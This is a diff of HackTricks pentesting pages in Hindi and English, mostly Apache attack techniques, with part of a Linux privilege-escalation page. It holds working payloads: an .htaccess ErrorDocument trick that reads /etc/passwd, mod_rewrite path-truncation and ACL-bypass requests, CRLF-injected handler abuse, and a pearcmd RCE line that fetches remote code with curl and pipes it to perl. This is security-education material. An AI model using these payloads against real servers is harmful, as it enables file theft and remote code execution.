साथ उपयोग में रहते हैं। + +**systemd** एक आधुनिक initialization और service manager के रूप में उभरता है, जो on-demand daemon starting, automount management, और system state snapshots जैसे उन्नत फीचर्स प्रदान करता है। यह फ़ाइलों को `/usr/lib/systemd/` (distribution packages के लिए) और `/etc/systemd/system/` (administrator modifications के लिए) में व्यवस्थित करता है, जिससे system administration प्रक्रिया सरल होती है। ## अन्य तरकीबें -### NFS विशेषाधिकार वृद्धि +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### प्रतिबंधित शेल से भागना +### Escaping from restricted Shells {{#ref}} @@ -1395,29 +1404,38 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## कर्नेल सुरक्षा सुरक्षा +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks आमतौर पर एक syscall को hook करते हैं ताकि privileged kernel functionality को userspace manager को एक्सपोज़ किया जा सके। कमजोर manager authentication (उदाहरण के लिए, FD-order पर आधारित signature checks या कमजोर password schemes) एक local app को manager का impersonate करने और पहले से rooted devices पर root तक escalate करने में सक्षम बना सकता है। अधिक जानकारी और exploit विवरण यहाँ हैं: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## अधिक सहायता +## और मदद [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Linux स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux local privilege escalation vectors खोजने के लिए सर्वश्रेष्ठ टूल:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t विकल्प)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Linux और MAC में कर्नेल कमजोरियों की गणना करें [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (भौतिक पहुंच):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**अधिक स्क्रिप्ट्स का संकलन**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## संदर्भ @@ -1440,13 +1458,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Android रूटिंग ढांचे: प्रबंधक-चैनल दुरुपयोग - -Android रूटिंग ढांचे आमतौर पर एक syscall को हुक करते हैं ताकि उपयोगकर्ता स्थान प्रबंधक को विशेषाधिकार प्राप्त कर्नेल कार्यक्षमता को उजागर किया जा सके। कमजोर प्रबंधक प्रमाणीकरण (जैसे, FD-क्रम पर आधारित हस्ताक्षर जांच या खराब पासवर्ड योजनाएँ) एक स्थानीय ऐप को प्रबंधक का अनुकरण करने और पहले से रूट किए गए उपकरणों पर रूट तक पहुंच बढ़ाने की अनुमति दे सकती हैं। यहाँ अधिक जानें और शोषण विवरण: - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index cb561c9e4..97911b9bb 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Executable PHP extensions +## Executable PHP एक्सटेंशन्स -जांचें कि कौन सी एक्सटेंशन Apache सर्वर को निष्पादित कर रही है। उन्हें खोजने के लिए आप यह निष्पादित कर सकते हैं: +जाँचें कि Apache सर्वर कौन सी PHP एक्सटेंशन्स चला रहा है। इन्हें खोजने के लिए आप निम्न कमांड चला सकते हैं: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -इसके अलावा, कुछ स्थान जहाँ आप इस कॉन्फ़िगरेशन को पा सकते हैं: +इसके अलावा, कुछ जगहें जहाँ आप यह configuration पा सकते हैं: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +## LFI via .htaccess ErrorDocument file provider (ap_expr) + +यदि आप किसी डायरेक्टरी की .htaccess को नियंत्रित कर सकते हैं और उस path के लिए AllowOverride में FileInfo शामिल है, तो आप ErrorDocument के अंदर ap_expr के file() फ़ंक्शन का उपयोग करके 404 responses को मनमाने स्थानीय फ़ाइल पढ़ने में बदल सकते हैं। + +- आवश्यकताएँ: +- Apache 2.4 जिसमें expression parser (ap_expr) सक्षम हो (2.4 में default)। +- vhost/dir को .htaccess को ErrorDocument सेट करने की अनुमति देनी चाहिए (AllowOverride FileInfo)। +- Apache worker user के पास लक्षित फ़ाइल पर पढ़ने की अनुमति होनी चाहिए। + +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +उस डायरेक्टरी के नीचे किसी भी मौजूद न होने वाले path का अनुरोध करके ट्रिगर करें, उदाहरण के लिए userdir-style hosting का दुरुपयोग करते समय: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Notes and tips: +- केवल absolute paths ही काम करते हैं। सामग्री 404 handler के response body के रूप में लौटाई जाती है। +- प्रभावी पढ़ने की permissions Apache user की होती हैं (आम तौर पर www-data/apache)। डिफ़ॉल्ट सेटअप में आप /root/* या /etc/shadow नहीं पढ़ पाएंगे। +- यहां तक कि अगर .htaccess root-owned है, अगर parent directory tenant-owned है और rename की अनुमति देता है, तो आप मूल .htaccess का नाम बदलकर अपना replacement SFTP/FTP के जरिए अपलोड कर सकते हैं: +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- इसे DocumentRoot या vhost config paths के अंतर्गत application source पढ़ने के लिए उपयोग करें ताकि secrets (DB creds, API keys, आदि) harvest किए जा सकें। + ## Confusion Attack -इन प्रकार के हमलों को [**Orange द्वारा इस ब्लॉग पोस्ट में**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) पेश किया गया है और निम्नलिखित एक सारांश है। "confusion" हमला मूल रूप से इस बात का लाभ उठाता है कि कई मॉड्यूल जो एक साथ काम करते हैं, एक Apache बनाने के लिए, पूरी तरह से समन्वयित नहीं होते हैं और उनमें से कुछ द्वारा कुछ अप्रत्याशित डेटा को संशोधित करने से बाद के मॉड्यूल में एक भेद्यता उत्पन्न हो सकती है। +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. ### Filename Confusion #### Truncation -**`mod_rewrite`** `r->filename` की सामग्री को `?` के बाद ट्रिम करेगा ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). यह पूरी तरह से गलत नहीं है क्योंकि अधिकांश मॉड्यूल `r->filename` को एक URL के रूप में मानते हैं। लेकिन अन्य अवसरों पर इसे फ़ाइल पथ के रूप में माना जाएगा, जो एक समस्या उत्पन्न करेगा। +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. - **Path Truncation** -`mod_rewrite` का दुरुपयोग करना संभव है जैसे कि निम्नलिखित नियम उदाहरण में फ़ाइल सिस्टम के अंदर अन्य फ़ाइलों तक पहुँचने के लिए, अपेक्षित पथ के अंतिम भाग को हटाकर बस एक `?` जोड़ना: +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -48,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F ``` - **Mislead RewriteFlag Assignment** -निम्नलिखित री-राइट नियम में, जब तक URL .php पर समाप्त होता है, इसे php के रूप में माना जाएगा और निष्पादित किया जाएगा। इसलिए, यह संभव है कि `?` चर के बाद .php पर समाप्त होने वाला एक URL भेजा जाए जबकि पथ में एक अलग प्रकार की फ़ाइल (जैसे एक छवि) को लोड किया जा रहा हो जिसमें दुर्भावनापूर्ण php कोड हो: +नीचे दिए गए rewrite rule में, जब तक URL .php पर समाप्त होता है, उसे php के रूप में माना जाएगा और निष्पादित किया जाएगा। इसलिए, यह संभव है कि आप `?` char के बाद .php पर समाप्त होने वाला एक URL भेजें, जबकि path में किसी अलग प्रकार की फ़ाइल (जैसे एक image) को लोड कर रहे हों, जिसके अंदर दुर्भावनापूर्ण php code मौजूद हो: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -यह संभव है कि उपयोगकर्ता उन फ़ाइलों तक पहुँच सके जिन्हें उसे पहुँचने की अनुमति नहीं होनी चाहिए, भले ही पहुँच को इन कॉन्फ़िगरेशन के साथ अस्वीकृत किया जाना चाहिए: +ऐसी कॉन्फ़िगरेशन के साथ भी जिनमें एक्सेस अस्वीकार किया जाना चाहिए, उपयोगकर्ता उन फ़ाइलों तक पहुँच सकता है जिन तक उसे पहुँचने की अनुमति नहीं होनी चाहिए: ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -यह इसलिए है क्योंकि डिफ़ॉल्ट रूप से PHP-FPM उन URL को प्राप्त करेगा जो `.php` पर समाप्त होते हैं, जैसे `http://server/admin.php%3Fooo.php` और क्योंकि PHP-FPM `?` के बाद की किसी भी चीज़ को हटा देगा, पूर्ववर्ती URL `/admin.php` को लोड करने की अनुमति देगा, भले ही पूर्ववर्ती नियम ने इसे प्रतिबंधित किया हो। +यह इसलिए है क्योंकि डिफ़ॉल्ट रूप से PHP-FPM उन URLs को प्राप्त करेगा जो `.php` पर समाप्त होते हैं, जैसे `http://server/admin.php%3Fooo.php` और चूँकि PHP-FPM चर `?` के बाद की किसी भी चीज़ को हटा देता है, पिछला URL `/admin.php` लोड करने की अनुमति देगा भले ही पिछला नियम इसे प्रतिबंधित करता था। -### DocumentRoot Confusion +### DocumentRoot भ्रम ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -एक मजेदार तथ्य यह है कि Apache का पिछला पुनर्लेखन दस्तावेज़ की जड़ और रूट दोनों से फ़ाइल तक पहुँचने की कोशिश करेगा। इसलिए, `https://server/abouth.html` के लिए एक अनुरोध फ़ाइल को फ़ाइल प्रणाली में `/var/www/html/about.html` और `/about.html` में जांचेगा। जिसे मूल रूप से फ़ाइल प्रणाली में फ़ाइलों तक पहुँचने के लिए दुरुपयोग किया जा सकता है। +A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system. #### **सर्वर-साइड स्रोत कोड का खुलासा** -- **CGI स्रोत कोड का खुलासा करें** +- **CGI स्रोत कोड का खुलासा** -केवल अंत में एक %3F जोड़ना cgi मॉड्यूल के स्रोत कोड को लीक करने के लिए पर्याप्त है: +केवल अंत में %3F जोड़ना एक cgi मॉड्यूल का स्रोत कोड leak करने के लिए पर्याप्त है: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **PHP स्रोत कोड का खुलासा करें** +- **Disclose PHP Source Code** -यदि एक सर्वर में विभिन्न डोमेन हैं, जिनमें से एक स्थिर डोमेन है, तो इसका दुरुपयोग करके फ़ाइल प्रणाली को पार किया जा सकता है और php कोड लीक किया जा सकता है: +यदि किसी सर्वर के पास विभिन्न डोमेन हों और उनमें से एक static domain हो, तो इसका दुरुपयोग फ़ाइल सिस्टम को traverse करने और php code को leak करने के लिए किया जा सकता है: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **स्थानीय गैजेट्स हेरफेर** +#### **Local Gadgets Manipulation** -पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से फ़ाइल सिस्टम पर अधिकांश पहुँच को अस्वीकृत कर दिया जाएगा जैसा कि Apache HTTP Server के [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) में है: +पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से फ़ाइलसिस्टम पर अधिकांश एक्सेस अस्वीकार कर दिए जाते हैं, जैसा कि Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -हालांकि, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) ऑपरेटिंग सिस्टम डिफ़ॉल्ट रूप से `/usr/share` की अनुमति देते हैं: +हालाँकि, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) ऑपरेटिंग सिस्टम डिफ़ॉल्ट रूप से `/usr/share` की अनुमति देते हैं: ```xml AllowOverride None Require all granted ``` -इसलिए, इन वितरणों में `/usr/share` के अंदर स्थित फ़ाइलों का **दुरुपयोग** करना संभव होगा। +Therefore, it would be possible to **इन वितरणों में `/usr/share` के अंदर स्थित फ़ाइलों का दुरुपयोग करना संभव होगा।** -**स्थानीय गैजेट से जानकारी का खुलासा** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** के साथ **websocketd** संवेदनशील पर्यावरण चर को लीक कर सकता है, जो **/usr/share/doc/websocketd/examples/php/** पर **dump-env.php** स्क्रिप्ट को उजागर कर सकता है। -- **Nginx** या **Jetty** वाले सर्वर अपने डिफ़ॉल्ट वेब रूट के माध्यम से संवेदनशील वेब एप्लिकेशन जानकारी (जैसे, **web.xml**) को उजागर कर सकते हैं, जो **/usr/share** के तहत रखे गए हैं: +- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, जो संवेदनशील environment variables को leak कर सकता है। +- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**स्थानीय गैजेट से XSS** +**Local Gadget to XSS** -- **LibreOffice स्थापित** Ubuntu डेस्कटॉप पर, सहायता फ़ाइलों की भाषा स्विच सुविधा का दुरुपयोग **Cross-Site Scripting (XSS)** का कारण बन सकता है। **/usr/share/libreoffice/help/help.html** पर URL को बदलने से दुर्भावनापूर्ण पृष्ठों या पुराने संस्करणों की ओर पुनर्निर्देशित किया जा सकता है, **unsafe RewriteRule** के माध्यम से। +- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**. -**स्थानीय गैजेट से LFI** +**Local Gadget to LFI** -- यदि PHP या कुछ फ्रंट-एंड पैकेज जैसे **JpGraph** या **jQuery-jFeed** स्थापित हैं, तो उनकी फ़ाइलों का दुरुपयोग संवेदनशील फ़ाइलों को पढ़ने के लिए किया जा सकता है जैसे **/etc/passwd**: +- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**स्थानीय गैजेट से SSRF** +**Local Gadget to SSRF** -- **MagpieRSS's magpie_debug.php** का उपयोग करते हुए **/usr/share/php/magpierss/scripts/magpie_debug.php** पर, एक SSRF भेद्यता आसानी से बनाई जा सकती है, जो आगे के दुरुपयोग के लिए एक गेटवे प्रदान करती है। +- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. -**स्थानीय गैजेट से RCE** +**Local Gadget to RCE** -- **Remote Code Execution (RCE)** के अवसर विशाल हैं, जैसे कि एक पुराना **PHPUnit** या **phpLiteAdmin**। इनका दुरुपयोग मनमाने कोड को निष्पादित करने के लिए किया जा सकता है, जो स्थानीय गैजेट्स के हेरफेर की व्यापक संभावनाओं को प्रदर्शित करता है। +- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation. -#### **स्थानीय गैजेट्स से जेलब्रेक** +#### **Jailbreak from Local Gadgets** -स्थानीय फ़ोल्डरों से जेलब्रेक करना भी संभव है, जैसे कि उन फ़ोल्डरों में स्थापित सॉफ़्टवेयर द्वारा उत्पन्न सिमलिंक का पालन करके: +It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -158,53 +186,53 @@ Require all granted - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -इसके अलावा, सिमलिंक का दुरुपयोग करके **Redmine में RCE प्राप्त करना संभव था।** +Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.** -### हैंडलर भ्रम +### Handler Confusion -यह हमला `AddHandler` और `AddType` निर्देशों के बीच कार्यक्षमता के ओवरलैप का लाभ उठाता है, जिन्हें **PHP प्रोसेसिंग** सक्षम करने के लिए उपयोग किया जा सकता है। मूल रूप से, ये निर्देश सर्वर की आंतरिक संरचना में विभिन्न क्षेत्रों (`r->handler` और `r->content_type` क्रमशः) को प्रभावित करते थे। हालाँकि, विरासत कोड के कारण, Apache इन निर्देशों को कुछ स्थितियों के तहत परस्पर संभालता है, यदि पूर्व सेट है और बाद वाला नहीं है तो `r->content_type` को `r->handler` में परिवर्तित करता है। +This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not. -इसके अलावा, Apache HTTP Server (`server/config.c#L420`) में, यदि `r->handler` `ap_run_handler()` को निष्पादित करने से पहले खाली है, तो सर्वर **`r->content_type` को हैंडलर के रूप में उपयोग करता है**, प्रभावी रूप से `AddType` और `AddHandler` को प्रभाव में समान बना देता है। +Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. -#### **PHP स्रोत कोड का खुलासा करने के लिए हैंडलर को ओवरराइट करें** +#### **Overwrite Handler to Disclose PHP Source Code** -[**इस वार्ता**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) में एक भेद्यता प्रस्तुत की गई थी जहां एक ग्राहक द्वारा भेजा गया गलत `Content-Length` Apache को गलती से **PHP स्रोत कोड** लौटाने का कारण बन सकता है। यह ModSecurity और Apache Portable Runtime (APR) के साथ एक त्रुटि हैंडलिंग समस्या के कारण था, जहां एक डबल प्रतिक्रिया `r->content_type` को `text/html` पर ओवरराइट करने का कारण बनती है।\ -क्योंकि ModSecurity सही ढंग से लौटाए गए मानों को संभाल नहीं करता है, यह PHP कोड लौटाएगा और इसे व्याख्या नहीं करेगा। +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\ +Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. -#### **XXXX के लिए हैंडलर को ओवरराइट करें** +#### **Overwrite Handler to XXXX** -TODO: Orange ने अभी तक इस भेद्यता का खुलासा नहीं किया है +TODO: Orange hasn't disclose this vulnerability yet -### **मनमाने हैंडलर्स को सक्रिय करें** +### **Invoke Arbitrary Handlers** -यदि एक हमलावर सर्वर प्रतिक्रिया में **`Content-Type`** हेडर को नियंत्रित करने में सक्षम है, तो वह **मनमाने मॉड्यूल हैंडलर्स** को सक्रिय करने में सक्षम होगा। हालाँकि, जब हमलावर इसे नियंत्रित करता है, तो अधिकांश अनुरोध की प्रक्रिया पूरी हो चुकी होगी। हालाँकि, यह **`Location` हेडर का दुरुपयोग करके अनुरोध प्रक्रिया को पुनः प्रारंभ करना संभव है** क्योंकि यदि **r** द्वारा लौटाया गया `Status` 200 है और `Location` हेडर `/` से शुरू होता है, तो प्रतिक्रिया को सर्वर-साइड रीडायरेक्शन के रूप में माना जाता है और इसे संसाधित किया जाना चाहिए। +If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed -[RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (CGI के बारे में विनिर्देश) में [धारा 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) एक स्थानीय रीडायरेक्ट प्रतिक्रिया व्यवहार को परिभाषित करता है: +According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: -> CGI स्क्रिप्ट एक स्थान हेडर फ़ील्ड में एक URI पथ और क्वेरी-स्ट्रींग ('local-pathquery') लौट सकती है। यह सर्वर को यह संकेत देता है कि इसे निर्दिष्ट पथ का उपयोग करके अनुरोध को फिर से संसाधित करना चाहिए। +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -इसलिए, इस हमले को करने के लिए निम्नलिखित में से एक भेद्यता की आवश्यकता है: +Therefore, to perform this attack is needed one of the following vulns: -- CGI प्रतिक्रिया हेडर में CRLF इंजेक्शन -- प्रतिक्रिया हेडर के पूर्ण नियंत्रण के साथ SSRF +- CRLF Injection in the CGI response headers +- SSRF with complete control of the response headers -#### **जानकारी के खुलासे के लिए मनमाना हैंडलर** +#### **Arbitrary Handler to Information Disclosure** -उदाहरण के लिए `/server-status` केवल स्थानीय रूप से सुलभ होना चाहिए: +For example `/server-status` should only be accessible locally: ```xml SetHandler server-status Require local ``` -इसे `Content-Type` को `server-status` सेट करके और Location हेडर को `/` से शुरू करके एक्सेस करना संभव है। +इसे एक्सेस किया जा सकता है अगर `Content-Type` को `server-status` पर सेट किया जाए और Location header `/` से शुरू हो। ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **मनमाने हैंडलर से पूर्ण SSRF** +#### **Arbitrary Handler से Full SSRF** किसी भी URL पर किसी भी प्रोटोकॉल तक पहुँचने के लिए `mod_proxy` पर रीडायरेक्ट करना: ``` @@ -215,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -हालांकि, `X-Forwarded-For` हेडर जोड़ा गया है जिससे क्लाउड मेटाडेटा एंडपॉइंट्स तक पहुंच को रोका जा सके। +हालाँकि, `X-Forwarded-For` header जोड़ा गया है जिससे cloud metadata endpoints तक पहुँच रोकी जा रही है। -#### **स्थानीय यूनिक्स डोमेन सॉकेट तक पहुंचने के लिए मनमाना हैंडलर** +#### **Arbitrary Handler to Access Local Unix Domain Socket** -PHP-FPM के स्थानीय यूनिक्स डोमेन सॉकेट तक पहुंचें ताकि `/tmp/` में स्थित PHP बैकडोर को निष्पादित किया जा सके: +PHP-FPM के local Unix Domain Socket तक पहुँच कर `/tmp/` में स्थित PHP backdoor को execute करें: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **मनमाने हैंडलर से RCE** +#### **Arbitrary Handler to RCE** -आधिकारिक [PHP Docker](https://hub.docker.com/_/php) इमेज में PEAR (`Pearcmd.php`), एक कमांड-लाइन PHP पैकेज प्रबंधन उपकरण शामिल है, जिसका दुरुपयोग RCE प्राप्त करने के लिए किया जा सकता है: +आधिकारिक [PHP Docker](https://hub.docker.com/_/php) image में PEAR (`Pearcmd.php`) शामिल है, जो एक command-line PHP package management tool है, जिसे RCE प्राप्त करने के लिए दुरुपयोग किया जा सकता है: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -चेक करें [**Docker PHP LFI सारांश**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), जिसे [Phith0n](https://x.com/phithon_xg) ने इस तकनीक के विवरण के लिए लिखा है। +इस तकनीक के विवरण के लिए [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), जिसे [Phith0n](https://x.com/phithon_xg) ने लिखा है, देखें। ## संदर्भ - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}